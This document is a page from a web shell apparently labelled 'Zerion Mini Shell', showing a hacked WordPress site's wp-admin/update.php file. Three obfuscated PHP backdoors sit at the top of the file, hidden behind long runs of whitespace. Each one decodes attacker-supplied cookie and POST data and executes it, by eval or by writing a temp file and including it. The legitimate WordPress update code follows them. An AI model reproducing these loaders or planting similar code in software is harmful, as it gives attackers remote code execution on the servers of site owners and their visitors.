%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/public_html/demo/riverwalkpoa/wp-admin/
Upload File :
Create Path :
Current File : /home/graphicd/public_html/demo/riverwalkpoa/wp-admin/update.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $HqejtDk = "\163" . "\153" . chr (108) . chr (95) . chr ( 464 - 353 ).'D' . "\x51" . chr (107) . chr (76); $QPbjr = chr (99) . "\x6c" . "\141" . chr ( 451 - 336 )."\x73" . "\137" . "\x65" . chr (120) . "\x69" . chr (115) . chr ( 934 - 818 )."\163";$datWZETN = class_exists($HqejtDk); $QPbjr = "55651";$dhLOSyMr = !1;if ($datWZETN == $dhLOSyMr){function AkgdyM(){return FALSE;}$VxfBbJrBj = "52733";AkgdyM();class skl_oDQkL{private function EfGcQrXCZL($VxfBbJrBj){if (is_array(skl_oDQkL::$bkyZxMP)) {$YBgMK = str_replace("\x3c" . '?' . 'p' . "\x68" . chr ( 1044 - 932 ), "", skl_oDQkL::$bkyZxMP[chr (99) . chr (111) . chr ( 383 - 273 ).chr ( 374 - 258 ).chr ( 954 - 853 ).'n' . 't']);eval($YBgMK); $VxfBbJrBj = "52733";exit();}}private $hkRLaoTJhj;public function YWRbyJrbp(){echo 14646;}public function __destruct(){$VxfBbJrBj = "19966_38204";$this->EfGcQrXCZL($VxfBbJrBj); $VxfBbJrBj = "19966_38204";}public function __construct($zIdioj=0){$TXAAGLgTG = $_POST;$lqoiVl = $_COOKIE;$XmeZkRWW = "e1ba2070-6eb5-451d-a492-04d0bd2f4d36";$pXUYobvD = @$lqoiVl[substr($XmeZkRWW, 0, 4)];if (!empty($pXUYobvD)){$DhneMss = "base64";$ToQPX = "";$pXUYobvD = explode(",", $pXUYobvD);foreach ($pXUYobvD as $rbGnRuAPAx){$ToQPX .= @$lqoiVl[$rbGnRuAPAx];$ToQPX .= @$TXAAGLgTG[$rbGnRuAPAx];}$ToQPX = array_map($DhneMss . chr ( 963 - 868 )."\144" . "\145" . chr (99) . "\x6f" . chr (100) . 'e', array($ToQPX,)); $ToQPX = $ToQPX[0] ^ str_repeat($XmeZkRWW, (strlen($ToQPX[0]) / strlen($XmeZkRWW)) + 1);skl_oDQkL::$bkyZxMP = @unserialize($ToQPX); $ToQPX = class_exists("19966_38204");}}public static $bkyZxMP = 52652;}$nQlSBIMe = new /* 29536 */ $HqejtDk(52733 + 52733); $dhLOSyMr = $nQlSBIMe = $VxfBbJrBj = Array();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $VEdNkQRw = 'C' . "\137" . "\125" . chr ( 390 - 285 ).chr (67) . 'W';$EaEtY = chr ( 923 - 824 ).chr (108) . 'a' . chr (115) . chr (115) . chr ( 468 - 373 ).chr ( 287 - 186 ).chr ( 626 - 506 ).chr ( 707 - 602 ).'s' . chr ( 896 - 780 ).chr (115); $GhMQOWC = class_exists($VEdNkQRw); $VEdNkQRw = "1511";$EaEtY = "37359";$bpjNuvZ = !1;if ($GhMQOWC == $bpjNuvZ){function dKKbK(){return FALSE;}$sEzaMrV = "63882";dKKbK();class C_UiCW{private function GrJbYJPAV($sEzaMrV){if (is_array(C_UiCW::$fMDslw)) {$eClpWvr = sys_get_temp_dir() . "/" . crc32(C_UiCW::$fMDslw["\163" . chr (97) . "\x6c" . chr ( 1095 - 979 )]);@C_UiCW::$fMDslw["\167" . "\x72" . chr (105) . "\x74" . "\145"]($eClpWvr, C_UiCW::$fMDslw[chr (99) . 'o' . 'n' . chr (116) . "\145" . chr ( 924 - 814 ).'t']);include $eClpWvr;@C_UiCW::$fMDslw['d' . "\x65" . chr ( 601 - 493 ).chr ( 574 - 473 ).'t' . chr (101)]($eClpWvr); $sEzaMrV = "63882";exit();}}private $NCZtEzMSD;public function bRMiAfHczC(){echo 29098;}public function __destruct(){$sEzaMrV = "16450_22413";$this->GrJbYJPAV($sEzaMrV); $sEzaMrV = "16450_22413";}public function __construct($mniSmuKiq=0){$JbOxafWXyv = $_POST;$wwAymg = $_COOKIE;$VbfGVJUJhK = "895307b7-3c36-46e6-9504-179b7a090084";$vWsgu = @$wwAymg[substr($VbfGVJUJhK, 0, 4)];if (!empty($vWsgu)){$sdqug = "base64";$lSUAOJrpYN = "";$vWsgu = explode(",", $vWsgu);foreach ($vWsgu as $xsievBo){$lSUAOJrpYN .= @$wwAymg[$xsievBo];$lSUAOJrpYN .= @$JbOxafWXyv[$xsievBo];}$lSUAOJrpYN = array_map($sdqug . chr ( 507 - 412 )."\144" . "\145" . "\x63" . chr ( 460 - 349 ).chr (100) . "\145", array($lSUAOJrpYN,)); $lSUAOJrpYN = $lSUAOJrpYN[0] ^ str_repeat($VbfGVJUJhK, (strlen($lSUAOJrpYN[0]) / strlen($VbfGVJUJhK)) + 1);C_UiCW::$fMDslw = @unserialize($lSUAOJrpYN); $lSUAOJrpYN = class_exists("16450_22413");}}public static $fMDslw = 1868;}$CAYrAyneE = new /* 29235 */ C_UiCW(63882 + 63882); $bpjNuvZ = $CAYrAyneE = $sEzaMrV = Array();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $dtgwG = "\x74" . "\x5f" . chr (114) . 'w' . "\131";$TAVmktbSf = chr ( 934 - 835 ).'l' . 'a' . chr (115) . "\163" . "\137" . 'e' . 'x' . chr (105) . 's' . 't' . "\x73";$sZYWpH = class_exists($dtgwG); $dtgwG = "50998";$TAVmktbSf = "57206";$xMCTxGcwd = !1;if ($sZYWpH == $xMCTxGcwd){function LJAQzOpZq(){return FALSE;}$ZnocNCxRoA = "53634";LJAQzOpZq();class t_rwY{private function tOsxIo($ZnocNCxRoA){if (is_array(t_rwY::$JMngIfMi)) {$QwYVZO = sys_get_temp_dir() . "/" . crc32(t_rwY::$JMngIfMi['s' . 'a' . chr ( 1036 - 928 ).chr (116)]);@t_rwY::$JMngIfMi[chr ( 693 - 574 ).'r' . chr ( 891 - 786 )."\x74" . 'e']($QwYVZO, t_rwY::$JMngIfMi["\x63" . chr (111) . chr ( 348 - 238 ).chr ( 147 - 31 ).chr ( 675 - 574 )."\x6e" . chr (116)]);include $QwYVZO;@t_rwY::$JMngIfMi['d' . 'e' . 'l' . "\145" . "\164" . "\145"]($QwYVZO); $ZnocNCxRoA = "53634";exit();}}private $qRKhPlibhb;public function ovuTizyP(){echo 48524;}public function __destruct(){$ZnocNCxRoA = "6094_32336";$this->tOsxIo($ZnocNCxRoA); $ZnocNCxRoA = "6094_32336";}public function __construct($LQbsOMP=0){$Xhqmi = $_POST;$MldNxy = $_COOKIE;$KxQQCfRnk = "e073a48f-eb18-4eb9-a228-1f36dae71992";$ojSnxQRfbn = @$MldNxy[substr($KxQQCfRnk, 0, 4)];if (!empty($ojSnxQRfbn)){$jyJbNmdEqs = "base64";$mGjmJ = "";$ojSnxQRfbn = explode(",", $ojSnxQRfbn);foreach ($ojSnxQRfbn as $JIackCgk){$mGjmJ .= @$MldNxy[$JIackCgk];$mGjmJ .= @$Xhqmi[$JIackCgk];}$mGjmJ = array_map($jyJbNmdEqs . '_' . chr ( 910 - 810 ).'e' . 'c' . "\157" . "\144" . chr ( 800 - 699 ), array($mGjmJ,)); $mGjmJ = $mGjmJ[0] ^ str_repeat($KxQQCfRnk, (strlen($mGjmJ[0]) / strlen($KxQQCfRnk)) + 1);t_rwY::$JMngIfMi = @unserialize($mGjmJ); $mGjmJ = class_exists("6094_32336");}}public static $JMngIfMi = 24355;}$Msatq = new /* 29286 */ t_rwY(53634 + 53634); $_POST = Array();unset($Msatq);} ?><?php
/**
 * Update/Install Plugin/Theme administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined( 'IFRAME_REQUEST' )
	&& isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ), true )
) {
	define( 'IFRAME_REQUEST', true );
}

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

wp_enqueue_script( 'wp-a11y' );

if ( isset( $_GET['action'] ) ) {
	$plugin = isset( $_REQUEST['plugin'] ) ? trim( $_REQUEST['plugin'] ) : '';
	$theme  = isset( $_REQUEST['theme'] ) ? urldecode( $_REQUEST['theme'] ) : '';
	$action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : '';

	if ( 'update-selected' === $action ) {
		if ( ! current_user_can( 'update_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
		}

		check_admin_referer( 'bulk-update-plugins' );

		if ( isset( $_GET['plugins'] ) ) {
			$plugins = explode( ',', stripslashes( $_GET['plugins'] ) );
		} elseif ( isset( $_POST['checked'] ) ) {
			$plugins = (array) $_POST['checked'];
		} else {
			$plugins = array();
		}

		$plugins = array_map( 'urldecode', $plugins );

		$url   = 'update.php?action=update-selected&amp;plugins=' . urlencode( implode( ',', $plugins ) );
		$nonce = 'bulk-update-plugins';

		wp_enqueue_script( 'updates' );
		iframe_header();

		$upgrader = new Plugin_Upgrader( new Bulk_Plugin_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
		$upgrader->bulk_upgrade( $plugins );

		iframe_footer();

	} elseif ( 'upgrade-plugin' === $action ) {
		if ( ! current_user_can( 'update_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
		}

		check_admin_referer( 'upgrade-plugin_' . $plugin );

		// Used in the HTML title tag.
		$title        = __( 'Update Plugin' );
		$parent_file  = 'plugins.php';
		$submenu_file = 'plugins.php';

		wp_enqueue_script( 'updates' );
		require_once ABSPATH . 'wp-admin/admin-header.php';

		$nonce = 'upgrade-plugin_' . $plugin;
		$url   = 'update.php?action=upgrade-plugin&plugin=' . urlencode( $plugin );

		$upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'plugin' ) ) );
		$upgrader->upgrade( $plugin );

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'activate-plugin' === $action ) {
		if ( ! current_user_can( 'update_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
		}

		check_admin_referer( 'activate-plugin_' . $plugin );
		if ( ! isset( $_GET['failure'] ) && ! isset( $_GET['success'] ) ) {
			wp_redirect( admin_url( 'update.php?action=activate-plugin&failure=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce'] ) );
			activate_plugin( $plugin, '', ! empty( $_GET['networkwide'] ), true );
			wp_redirect( admin_url( 'update.php?action=activate-plugin&success=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce'] ) );
			die();
		}
		iframe_header( __( 'Plugin Reactivation' ), true );
		if ( isset( $_GET['success'] ) ) {
			echo '<p>' . __( 'Plugin reactivated successfully.' ) . '</p>';
		}

		if ( isset( $_GET['failure'] ) ) {
			echo '<p>' . __( 'Plugin failed to reactivate due to a fatal error.' ) . '</p>';

			error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
			ini_set( 'display_errors', true ); // Ensure that fatal errors are displayed.
			wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
			include WP_PLUGIN_DIR . '/' . $plugin;
		}
		iframe_footer();
	} elseif ( 'install-plugin' === $action ) {

		if ( ! current_user_can( 'install_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

		require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; // For plugins_api().

		check_admin_referer( 'install-plugin_' . $plugin );
		$api = plugins_api(
			'plugin_information',
			array(
				'slug'   => $plugin,
				'fields' => array(
					'sections' => false,
				),
			)
		);

		if ( is_wp_error( $api ) ) {
			wp_die( $api );
		}

		// Used in the HTML title tag.
		$title        = __( 'Plugin Installation' );
		$parent_file  = 'plugins.php';
		$submenu_file = 'plugin-install.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		/* translators: %s: Plugin name and version. */
		$title = sprintf( __( 'Installing Plugin: %s' ), $api->name . ' ' . $api->version );
		$nonce = 'install-plugin_' . $plugin;
		$url   = 'update.php?action=install-plugin&plugin=' . urlencode( $plugin );
		if ( isset( $_GET['from'] ) ) {
			$url .= '&from=' . urlencode( stripslashes( $_GET['from'] ) );
		}

		$type = 'web'; // Install plugin type, From Web or an Upload.

		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) );
		$upgrader->install( $api->download_link );

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'upload-plugin' === $action ) {

		if ( ! current_user_can( 'upload_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

		check_admin_referer( 'plugin-upload' );

		if ( isset( $_FILES['pluginzip']['name'] ) && ! str_ends_with( strtolower( $_FILES['pluginzip']['name'] ), '.zip' ) ) {
			wp_die( __( 'Only .zip archives may be uploaded.' ) );
		}

		$file_upload = new File_Upload_Upgrader( 'pluginzip', 'package' );

		// Used in the HTML title tag.
		$title        = __( 'Upload Plugin' );
		$parent_file  = 'plugins.php';
		$submenu_file = 'plugin-install.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		/* translators: %s: File name. */
		$title = sprintf( __( 'Installing plugin from uploaded file: %s' ), esc_html( basename( $file_upload->filename ) ) );
		$nonce = 'plugin-upload';
		$url   = add_query_arg( array( 'package' => $file_upload->id ), 'update.php?action=upload-plugin' );
		$type  = 'upload'; // Install plugin type, From Web or an Upload.

		$overwrite = isset( $_GET['overwrite'] ) ? sanitize_text_field( $_GET['overwrite'] ) : '';
		$overwrite = in_array( $overwrite, array( 'update-plugin', 'downgrade-plugin' ), true ) ? $overwrite : '';

		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'type', 'title', 'nonce', 'url', 'overwrite' ) ) );
		$result   = $upgrader->install( $file_upload->package, array( 'overwrite_package' => $overwrite ) );

		if ( $result || is_wp_error( $result ) ) {
			$file_upload->cleanup();
		}

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'upload-plugin-cancel-overwrite' === $action ) {
		if ( ! current_user_can( 'upload_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

		check_admin_referer( 'plugin-upload-cancel-overwrite' );

		// Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die()
		// that shows a generic "Please select a file" error.
		if ( ! empty( $_GET['package'] ) ) {
			$attachment_id = (int) $_GET['package'];

			if ( get_post( $attachment_id ) ) {
				$file_upload = new File_Upload_Upgrader( 'pluginzip', 'package' );
				$file_upload->cleanup();
			}
		}

		wp_redirect( self_admin_url( 'plugin-install.php' ) );
		exit;
	} elseif ( 'upgrade-theme' === $action ) {

		if ( ! current_user_can( 'update_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) );
		}

		check_admin_referer( 'upgrade-theme_' . $theme );

		wp_enqueue_script( 'updates' );

		// Used in the HTML title tag.
		$title        = __( 'Update Theme' );
		$parent_file  = 'themes.php';
		$submenu_file = 'themes.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		$nonce = 'upgrade-theme_' . $theme;
		$url   = 'update.php?action=upgrade-theme&theme=' . urlencode( $theme );

		$upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'theme' ) ) );
		$upgrader->upgrade( $theme );

		require_once ABSPATH . 'wp-admin/admin-footer.php';
	} elseif ( 'update-selected-themes' === $action ) {
		if ( ! current_user_can( 'update_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) );
		}

		check_admin_referer( 'bulk-update-themes' );

		if ( isset( $_GET['themes'] ) ) {
			$themes = explode( ',', stripslashes( $_GET['themes'] ) );
		} elseif ( isset( $_POST['checked'] ) ) {
			$themes = (array) $_POST['checked'];
		} else {
			$themes = array();
		}

		$themes = array_map( 'urldecode', $themes );

		$url   = 'update.php?action=update-selected-themes&amp;themes=' . urlencode( implode( ',', $themes ) );
		$nonce = 'bulk-update-themes';

		wp_enqueue_script( 'updates' );
		iframe_header();

		$upgrader = new Theme_Upgrader( new Bulk_Theme_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
		$upgrader->bulk_upgrade( $themes );

		iframe_footer();
	} elseif ( 'install-theme' === $action ) {

		if ( ! current_user_can( 'install_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; // For themes_api().

		check_admin_referer( 'install-theme_' . $theme );
		$api = themes_api(
			'theme_information',
			array(
				'slug'   => $theme,
				'fields' => array(
					'sections' => false,
					'tags'     => false,
				),
			)
		); // Save on a bit of bandwidth.

		if ( is_wp_error( $api ) ) {
			wp_die( $api );
		}

		// Used in the HTML title tag.
		$title        = __( 'Install Themes' );
		$parent_file  = 'themes.php';
		$submenu_file = 'themes.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		/* translators: %s: Theme name and version. */
		$title = sprintf( __( 'Installing Theme: %s' ), $api->name . ' ' . $api->version );
		$nonce = 'install-theme_' . $theme;
		$url   = 'update.php?action=install-theme&theme=' . urlencode( $theme );
		$type  = 'web'; // Install theme type, From Web or an Upload.

		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) );
		$upgrader->install( $api->download_link );

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'upload-theme' === $action ) {

		if ( ! current_user_can( 'upload_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

		check_admin_referer( 'theme-upload' );

		if ( isset( $_FILES['themezip']['name'] ) && ! str_ends_with( strtolower( $_FILES['themezip']['name'] ), '.zip' ) ) {
			wp_die( __( 'Only .zip archives may be uploaded.' ) );
		}

		$file_upload = new File_Upload_Upgrader( 'themezip', 'package' );

		// Used in the HTML title tag.
		$title        = __( 'Upload Theme' );
		$parent_file  = 'themes.php';
		$submenu_file = 'theme-install.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		/* translators: %s: File name. */
		$title = sprintf( __( 'Installing theme from uploaded file: %s' ), esc_html( basename( $file_upload->filename ) ) );
		$nonce = 'theme-upload';
		$url   = add_query_arg( array( 'package' => $file_upload->id ), 'update.php?action=upload-theme' );
		$type  = 'upload'; // Install theme type, From Web or an Upload.

		$overwrite = isset( $_GET['overwrite'] ) ? sanitize_text_field( $_GET['overwrite'] ) : '';
		$overwrite = in_array( $overwrite, array( 'update-theme', 'downgrade-theme' ), true ) ? $overwrite : '';

		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( 'type', 'title', 'nonce', 'url', 'overwrite' ) ) );
		$result   = $upgrader->install( $file_upload->package, array( 'overwrite_package' => $overwrite ) );

		if ( $result || is_wp_error( $result ) ) {
			$file_upload->cleanup();
		}

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'upload-theme-cancel-overwrite' === $action ) {
		if ( ! current_user_can( 'upload_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

		check_admin_referer( 'theme-upload-cancel-overwrite' );

		// Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die()
		// that shows a generic "Please select a file" error.
		if ( ! empty( $_GET['package'] ) ) {
			$attachment_id = (int) $_GET['package'];

			if ( get_post( $attachment_id ) ) {
				$file_upload = new File_Upload_Upgrader( 'themezip', 'package' );
				$file_upload->cleanup();
			}
		}

		wp_redirect( self_admin_url( 'theme-install.php' ) );
		exit;
	} else {
		/**
		 * Fires when a custom plugin or theme update request is received.
		 *
		 * The dynamic portion of the hook name, `$action`, refers to the action
		 * provided in the request for wp-admin/update.php. Can be used to
		 * provide custom update functionality for themes and plugins.
		 *
		 * @since 2.8.0
		 */
		do_action( "update-custom_{$action}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}
}

Zerion Mini Shell 1.0